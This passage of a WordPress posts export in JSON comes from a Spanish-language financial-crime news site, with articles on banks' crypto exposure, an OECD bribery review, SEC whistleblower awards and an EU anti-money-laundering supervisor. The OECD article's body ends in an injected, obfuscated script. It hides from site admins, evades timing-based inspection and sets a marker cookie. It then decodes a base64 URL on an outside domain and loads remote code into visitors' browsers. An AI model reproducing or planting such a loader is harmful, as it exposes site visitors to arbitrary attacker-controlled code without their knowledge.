los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el 